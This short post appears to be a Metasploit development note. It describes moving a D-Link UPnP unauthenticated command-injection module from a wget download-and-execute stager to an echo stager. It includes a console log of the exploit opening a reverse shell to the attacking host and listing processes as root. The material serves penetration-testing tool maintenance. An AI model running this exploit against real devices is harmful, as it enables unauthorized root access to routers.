D-Link Command Injection - migrate from wget to echo mechanism

Hey,

 this module was originally written using the download and execute mechanism. I have it modified to use the preferred echo method.

```
msf exploit(dlink_upnp_exec_noauth) > exploit

[*] Started reverse handler on 192.168.0.101:4444
[*] 192.168.0.2:49152 - Trying to access the vulnerable URL...
[*] 192.168.0.2:49152 - Exploiting...
[*] Command Stager progress -  26.77% done (396/1479 bytes)
[*] Command Stager progress -  53.55% done (792/1479 bytes)
[*] Command Stager progress -  80.32% done (1188/1479 bytes)
[*] Command shell session 9 opened (192.168.0.101:4444 -> 192.168.0.2:47139) at 2014-07-06 21:41:30 +0200
[*] Command Stager progress - 100.00% done (1479/1479 bytes)

ps
  PID USER       VSZ STAT COMMAND
    1 root       752 S    init
    2 root         0 SW   [kthreadd]
    3 root         0 SW   [ksoftirqd/0]
```
Now it looks like that there is also no reason to have the module dlink_upnp_exec_noauth_telnetd.rb. 

Mike